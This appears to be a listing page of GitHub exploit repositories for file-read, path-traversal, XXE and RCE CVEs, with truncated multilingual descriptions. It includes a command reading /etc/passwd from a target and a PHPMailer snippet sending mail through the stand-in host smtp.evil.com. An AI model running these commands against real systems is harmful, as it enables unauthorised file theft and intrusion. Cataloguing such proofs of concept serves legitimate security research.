M365-Assess

M365 Assess Outil complet d'évaluation de la sécurité M365 Évaluation de sécurité Microsoft 365 en lecture seule pour consultants IT et administrateurs...

CVE-2018-14847

WinboxExploit Это доказательство концепции критической уязвимости WinBox CVE-2018-14847, которая позволяет произвольное чтение файлов с паролями в открытом виде. Запись в блоге https://n0p.me/winbox-bug-dissection/ Требования Python 3+ Этот скрипт НЕ будет работать с Python 2.x или ниже. Как...

CVE-2021-43798

CVE-2021-43798 Grafana 임의 파일 읽기 8.0.0 8.3.0 Grafana 8.0.0 8.3.0 버전의 취약점CVE-2021-43798으로, 인증되지 않은 공격자가 /public/plugins/ 경로를 대상으로 하는 경로 탐색path traversal을 악용하여 서버에서 임의의 파일을 읽고 시스템의 민감한 파일에 접근할 수 있습니다. 사용법 python3 exploit.py --domain --port 1. 스크립트는 자동으로 잠재적으로 취약한 경로 목록을 테스트합니다. 2. 대화형 셸: 취약한 엔드포인트를...

SharpStat

SharpStat Utilitaire C qui utilise WMI pour exécuter "cmd.exe /c netstat -n", sauvegarder la sortie dans un fichier, puis utiliser SMB pour lire et supprimer le fichier à distance. Description Ce script tentera de se connecter à tous les ordinateurs fournis et utilisera WMI pour exécuter cmd.exe ...

CVE-2026-67185-Unauthenticated-Path-Traversal-Allows-Arbitrary-File-Read-TinyWeb-

Бюллетень безопасности: Неаутентифицированный обход каталога позволяет произвольное чтение файлов TinyWeb Присвоенный идентификатор CVE: CVE-2026-67185 Краткое описание TinyWeb формирует путь к обслуживаемому файлу, соединяя корневой каталог веб-сервера с URL запроса ровно так, как он поступил, б...

CVE-2019-9791

Цепочка эксплойтов для CVE-2019-9791 и CVE-2019-11708 против Firefox 65.0 Работает против Firefox 65.0 на Windows 64bit. Часть CVE-2019-11708 взята из эксплойта от 0vercl0k: https://github.com/0vercl0k/CVE-2019-11708 Эксплойт использует CVE-2019-9791 для получения примитива чтения/записи в...

CVE-2020-1938

CVE-2020-1938-tomcat-скачивание-файлов+включение-файлов Уязвимость чтения файлов по протоколу Tomcat-Ajp】 Источник оригинального PoC: https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC/blob/master/poc.py После модификации можно включать файлы, а при определённых условиях — выполнять...

spamassassin

Apache SpamAssassin GitHub Actions для тестирования Проект Apache SpamAssassin использует репозиторий subversion для своего процесса разработки. Зеркало репозитория только для чтения поддерживается на GitHub здесь. Каталог .github, содержащий этот файл README, не входит в пакет выпуска Apache...

Poc_CVE-2025-68645

CVE-2025-68645 - Уязвимость Path Traversal в Zimbra 📋 Обзор CVE-2025-68645 — это уязвимость обхода пути path traversal в Zimbra Collaboration Suite , которая позволяет неаутентифицированным злоумышленникам читать произвольные файлы из файловой системы сервера. Уязвимая конечная точка...

CVE-2025-27136-XXE-LocalS3

CVE-2025-27136 XXE-LocalS3 Доказательство концепции для CVE-2025-27136 XXE в Local-S3 └─$ python3 exploit.py http://$ip:8080 /etc/passwd + Обнаружен сервис S3 + Создание bucket: xxe-32d14993 + Ответ сервера: ac3aaf20-e59a-4705-9505-3ebb01db7fc1 + Получение файла через ?location + Ответ:...

CVE-2025-30208

🔥 Сканер уязвимости CVE-2025-30208 Vite произвольное чтение файлов Продвинутый сканер уязвимости CVE-2025-30208 с функциями корпоративного уровня Профессиональный инструмент тестирования на проникновение для обнаружения уязвимости произвольного чтения файлов в Vite 🚀 Быстрый старт • 📋 Возможности...

CVE-2026-27971_POC

CVE-2026-27971 — Qwik server$ PoC неаутентифицированного удаленного выполнения кода !WARNING Этот репозиторий содержит активный proof-of-concept удаленного выполнения кода. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Автор не...

CVE-2025-43919-POC

🚨 CVE-2025-43919: Обход каталога в GNU Mailman 2.1.39 cPanel/WHM В GNU Mailman 2.1.39, поставляемом с cPanel/WHM, обнаружена новая уязвимость, позволяющая неавторизованным удалённым злоумышленникам читать произвольные файлы на сервере через обход каталога. 📌 Сводка по уязвимости: Тип : Directory...

cve-2020-5902

cve-2020-5902 cve-2020-5902 POC эксплойт root@kitploit: POC CVE-2020-5902 - r0ttenbeef Usage: cve-2020-5902.py options Options: -h, --help show this help message and exit -u URL, --url=URL specify target url EX:http://100.200.300.10/ -i, --info grap some informations -f FILENAME, --file=FILENAME...

CVE-2025-30208-Series

CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. Обзор уязвимости CVE-2025-30208, CVE-2025-31125 и CVE-2025-31486 — это уязвимость произвольного чтения файлов в сервере разработки Vite. Данная уязвимость позволяет злоумышленнику обойти контроль доступа с помощью определённых параметров URL и...

cve-2023-42824

cve-2023-42824 cow bypass double-read?...

CVE-2024-4040

CVE-2024-4040 Уязвимость серверной инъекции шаблонов в CrushFTP во всех версиях до 10.7.1 и 11.1.0 на всех платформах позволяет неаутентифицированным удалённым злоумышленникам читать файлы из файловой системы за пределами VFS Sandbox, обходить аутентификацию для получения административного доступ...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2023-26255-6

POC-скрипт для эксплуатации уязвимости произвольного чтения файлов через параметр FileName в плагине Jira STAGIL Navigation Инструкция по использованию: Проверка одного URL 1. Проверка одного URL-адреса через командную строку: передайте URL с помощью параметра -U 2. Проверьте полученный...

CVE-2022-0847

DIRTY PIPE CVE-2022-0847 Это уязвимость ядра, которая позволяет перезаписывать данные в произвольных read-only файлах, что может привести к повышению привилегий, поскольку непривилегированный процесс может записывать в привилегированный процесс. Вся заслуга принадлежит 🥇Max Kellermann за...